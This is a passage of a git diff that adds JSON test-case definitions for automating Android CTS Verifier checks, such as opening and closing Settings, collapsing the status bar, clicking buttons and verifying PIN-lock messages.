hutter_button,\\n$uicd_camera_done=Done,\"}}","name":"Camera Intents-Test 3 and 4","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.011000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2a9185e5-a104-4479-8a5f-8d13ebe742e5 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2a9185e5-a104-4479-8a5f-8d13ebe742e5
new file mode 100644
index 0000000..ea9c407
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2a9185e5-a104-4479-8a5f-8d13ebe742e5
@@ -0,0 +1 @@
+{"uuid":"2a9185e5-a104-4479-8a5f-8d13ebe742e5","details":"{\"type\":\"CompoundAction\",\"name\":\"Close Settings\",\"actionId\":\"2a9185e5-a104-4479-8a5f-8d13ebe742e5\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Force close settings\",\"actionId\":\"daffa60b-244e-4277-a358-024ad6029bca\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"pololee\",\"commandLine\":\"shell am force-stop com.android.settings\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"}],\"childrenIdList\":[\"daffa60b-244e-4277-a358-024ad6029bca\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Close Settings","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.320000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2abe83e3-a05c-4599-9007-3efbabf97020 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2abe83e3-a05c-4599-9007-3efbabf97020
new file mode 100644
index 0000000..c7ca386
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2abe83e3-a05c-4599-9007-3efbabf97020
@@ -0,0 +1 @@
+{"uuid":"2abe83e3-a05c-4599-9007-3efbabf97020","details":"{\"type\":\"CompoundAction\",\"name\":\"Click I'm done\",\"actionId\":\"2abe83e3-a05c-4599-9007-3efbabf97020\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"Click I'm done\",\"actionId\":\"4ade1b3d-a4df-4dee-89e9-5d50d7fa01de\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.cts.verifier:id/nls_action_button\"},{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"true\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"4ade1b3d-a4df-4dee-89e9-5d50d7fa01de\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click I'm done","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325438.976000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2b20f950-6cf8-4040-93c8-a51819425441 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2b20f950-6cf8-4040-93c8-a51819425441
new file mode 100644
index 0000000..f668185
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2b20f950-6cf8-4040-93c8-a51819425441
@@ -0,0 +1 @@
+{"uuid":"2b20f950-6cf8-4040-93c8-a51819425441","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify that not allowed message of PIN lock\",\"actionId\":\"2b20f950-6cf8-4040-93c8-a51819425441\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"If Set PIN appear, verify the now allowed message should be appear\",\"actionId\":\"565abbc0-48d2-4b4d-aaa1-b30f86c7b507\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"For security, set PIN\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"c55ea096-e8b6-440c-bbaf-37145d079609\",\"displayText\":\"For security, set PIN\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/sud_layout_description\",\"text\":\"For security, set PIN\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":172.0,\"x2\":339.0,\"y2\":211.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":178.5,\"y\":182.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":1.5,\"y\":9.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"c55ea096-e8b6-440c-bbaf-37145d079609\",\"firstText\":\"For security, set PIN\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"For security, set PIN\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":116.0,\"y1\":174.0,\"x2\":241.0,\"y2\":190.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify the message -Ascending, descending, or repeated sequence of digits isn't allowed\",\"actionId\":\"ecc5c556-0de8-46a2-a189-c8c7e4fd22f2\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Ascending, descending, or repeated sequence of digits isn't allowed\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"6fed02fd-7d65-4593-9dd3-ebb114f66d80\",\"displayText\":\"Ascending, descending, or repeated sequence of digits isn't allowed\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"e7f3d72e-9cdf-4ee8-a36d-5b959280c73c\",\"displayText\":\"PIN must be at least 8 digits\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/description_text\",\"text\":\"PIN must be at least 8 digits\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":291.6666666666667,\"x2\":339.0,\"y2\":308.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"firstText\":\"PIN must be at least 8 digits\"},{\"uuid\":\"412e1163-1fc1-4bf4-b4c3-aa8f7a0e03c5\",\"displayText\":\"Ascending, descending, or repeated sequence of digits isn't allowed\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/description_text\",\"text\":\"Ascending, descending, or repeated sequence of digits isn't allowed\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":308.6666666666667,\"x2\":339.0,\"y2\":340.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":2.0,\"y\":0.8333333333333712,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"firstText\":\"Ascending, descending, or repeated sequence of digits isn't allowed\"}],\"className\":\"androidx.recyclerview.widget.RecyclerView\",\"resourceId\":\"com.android.settings:id/password_requirements_view\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":291.6666666666667,\"x2\":339.0,\"y2\":340.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":178.0,\"y\":323.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":2.0,\"y\":-7.666666666666629,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"leafNodeContext\":\"412e1163-1fc1-4bf4-b4c3-aa8f7a0e03c5\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Ascending, descending, or repeated sequence of digits isn't allowed\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":16.0,\"y1\":308.0,\"x2\":340.0,\"y2\":339.0}}],\"childrenIdList\":[\"565abbc0-48d2-4b4d-aaa1-b30f86c7b507\",\"ecc5c556-0de8-46a2-a189-c8c7e4fd22f2\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify that not allowed message of PIN lock","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.262000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2c04124a-9437-4127-9146-c1830d875dcb b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2c04124a-9437-4127-9146-c1830d875dcb
new file mode 100644
index 0000000..143a4b6
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2c04124a-9437-4127-9146-c1830d875dcb
@@ -0,0 +1 @@
+{"uuid":"2c04124a-9437-4127-9146-c1830d875dcb","details":"{\"type\":\"CompoundAction\",\"name\":\"10-Disable status bar\",\"actionId\":\"2c04124a-9437-4127-9146-c1830d875dcb\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[],\"childrenIdList\":[\"c1068330-ea63-4e42-8806-773d1152094f\",\"7ba82511-7b81-415f-81d7-ce2a5c969a50\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"10-Disable status bar","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.103000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2c2679b8-694c-4f76-9e68-e769699ab06a b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2c2679b8-694c-4f76-9e68-e769699ab06a
new file mode 100644
index 0000000..eb8633f
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2c2679b8-694c-4f76-9e68-e769699ab06a
@@ -0,0 +1 @@
+{"uuid":"2c2679b8-694c-4f76-9e68-e769699ab06a","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify  if set PIN screen appear, set PIN to \\\"1688\\\"\",\"actionId\":\"2c2679b8-694c-4f76-9e68-e769699ab06a\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if Set PIN screen appear\",\"actionId\":\"ce6c21a1-8944-4b47-8270-2da63d6a5f03\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"For security, set PIN\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"8855a111-62eb-4dbc-a755-176f43c6584c\",\"displayText\":\"For security, set PIN\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/sud_layout_description\",\"text\":\"For security, set PIN\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":172.0,\"x2\":339.0,\"y2\":211.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":186.0,\"y\":185.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-6.0,\"y\":6.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"8855a111-62eb-4dbc-a755-176f43c6584c\",\"firstText\":\"For security, set PIN\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"For security, set PIN\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":108.0,\"y1\":174.0,\"x2\":264.0,\"y2\":196.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, Next\",\"actionId\":\"bfc20865-53be-4948-8954-fa6911c92666\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Next\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Confirm\",\"actionId\":\"e17d7e6b-6549-479b-89a7-7fee4619abfb\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Confirm\"}],\"childrenIdList\":[\"ce6c21a1-8944-4b47-8270-2da63d6a5f03\",\"8373f761-9983-4688-b193-59c4bc7a9bd3\",\"bfc20865-53be-4948-8954-fa6911c92666\",\"8373f761-9983-4688-b193-59c4bc7a9bd3\",\"e17d7e6b-6549-479b-89a7-7fee4619abfb\",\"2fb8a428-0ad6-4d59-a36e-8ba24663af7b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify  if set PIN screen appear, set PIN to \"1688\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.267000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2dad0955-cdab-4973-bd4f-b46db4fe4534 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2dad0955-cdab-4973-bd4f-b46db4fe4534
new file mode 100644
index 0000000..448d4ca
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2dad0955-cdab-4973-bd4f-b46db4fe4534
@@ -0,0 +1 @@
+{"uuid":"2dad0955-cdab-4973-bd4f-b46db4fe4534","details":"{\"type\":\"CompoundAction\",\"name\":\"Open Settings\",\"actionId\":\"2dad0955-cdab-4973-bd4f-b46db4fe4534\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Open Settings\",\"actionId\":\"7aa6e15a-b9a3-4698-98f5-f4b54512f4f0\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"pololee\",\"commandLine\":\"shell am start -n com.android.settings/.Settings\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"}],\"childrenIdList\":[\"2a9185e5-a104-4479-8a5f-8d13ebe742e5\",\"7aa6e15a-b9a3-4698-98f5-f4b54512f4f0\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Open Settings","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.319000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2fb8a428-0ad6-4d59-a36e-8ba24663af7b b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2fb8a428-0ad6-4d59-a36e-8ba24663af7b
new file mode 100644
index 0000000..a3567a2
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/2fb8a428-0ad6-4d59-a36e-8ba24663af7b
@@ -0,0 +1 @@
+{"uuid":"2fb8a428-0ad6-4d59-a36e-8ba24663af7b","details":"{\"type\":\"CompoundAction\",\"name\":\"Click Done button if need\",\"actionId\":\"2fb8a428-0ad6-4d59-a36e-8ba24663af7b\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionClickAction\",\"name\":\"Click Done button if need\",\"actionId\":\"abb128bb-7a45-4fa0-998c-c57745253dc1\",\"actionType\":\"CONDITION_CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Done\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"de31d248-fa31-4a18-8978-ec99e650802f\",\"displayText\":\"Done\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"06a80898-6010-4f65-8428-69b504b6d9c3\",\"displayText\":\"Done\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.Button\",\"text\":\"Done\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":265.3333333333333,\"y1\":685.3333333333334,\"x2\":342.3333333333333,\"y2\":727.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":1.8333333333333144,\"y\":-2.6666666666666288,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Done\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":675.0,\"x2\":360.0,\"y2\":738.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":302.0,\"y\":709.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-122.0,\"y\":-2.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"06a80898-6010-4f65-8428-69b504b6d9c3\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Done\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":273.0,\"y1\":695.0,\"x2\":331.0,\"y2\":723.0}}],\"childrenIdList\":[\"abb128bb-7a45-4fa0-998c-c57745253dc1\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click Done button if need","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.038000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/31902e22-dd19-4a14-9a1f-5bca034bacd5 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/31902e22-dd19-4a14-9a1f-5bca034bacd5
new file mode 100644
index 0000000..cebadf2
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/31902e22-dd19-4a14-9a1f-5bca034bacd5
@@ -0,0 +1 @@
+{"uuid":"31902e22-dd19-4a14-9a1f-5bca034bacd5","details":"{\"type\":\"CompoundAction\",\"name\":\"Collapse status bar\",\"actionId\":\"31902e22-dd19-4a14-9a1f-5bca034bacd5\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Collapse status bar\",\"actionId\":\"39a25d91-d0e8-4527-9fc3-035b8310cf08\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"pololee\",\"commandLine\":\"shell cmd statusbar collapse\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"}],\"childrenIdList\":[\"39a25d91-d0e8-4527-9fc3-035b8310cf08\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Collapse status bar","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.104000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/31d97492-1de9-41be-8213-c67eb06406b1 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/31d97492-1de9-41be-8213-c67eb06406b1
new file mode 100644
index 0000000..9ba591f
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/31d97492-1de9-41be-8213-c67eb06406b1
@@ -0,0 +1 @@
+{"uuid":"31d97492-1de9-41be-8213-c67eb06406b1","details":"{\"type\":\"CompoundAction\",\"name\":\"Launch Location settings\",\"actionId\":\"31d97492-1de9-41be-8213-c67eb06406b1\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"ScrollScreenContentValidationAction\",\"actionId\":\"16f7dc46-59a5-4e31-977a-abdde6fa11d3\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Location\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"389de027-8591-412f-86f7-8fce886466e0\",\"displayText\":\"Location\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"68de7092-cd8d-4e06-ad38-bf602941e1f7\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"e583d23b-6881-43a3-b745-44123a4265da\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":698.6666666666666,\"x2\":47.666666666666664,\"y2\":716.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":695.0,\"x2\":66.0,\"y2\":716.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"3049380c-b573-4877-9905-3ad8084e81d2\",\"displayText\":\"Location\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"07f72ece-b083-47d8-bb67-e99971163db9\",\"displayText\":\"Location\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Location\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":696.6666666666666,\"x2\":123.0,\"y2\":716.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-5.0,\"y\":3.3333333333332575,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Location\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":682.0,\"x2\":345.3333333333333,\"y2\":716.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Location\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":682.0,\"x2\":360.0,\"y2\":716.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":99.5,\"y\":703.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":80.5,\"y\":-4.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"07f72ece-b083-47d8-bb67-e99971163db9\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Location\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":132.0,\"y1\":711.0,\"x2\":67.0,\"y2\":695.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Location\",\"actionId\":\"ee6df024-ee29-47d8-8bc2-9499d1bd4dc4\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Location\"}],\"childrenIdList\":[\"9be89845-047e-4ef4-98dc-caa8cd186c76\",\"16f7dc46-59a5-4e31-977a-abdde6fa11d3\",\"ee6df024-ee29-47d8-8bc2-9499d1bd4dc4\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Launch Location settings","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.274000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/325e2c82-fd6d-4027-8dd7-1d331c3d5345 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/325e2c82-fd6d-4027-8dd7-1d331c3d5345
new file mode 100644
index 0000000..7aaaff6
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/325e2c82-fd6d-4027-8dd7-1d331c3d5345
@@ -0,0 +1 @@
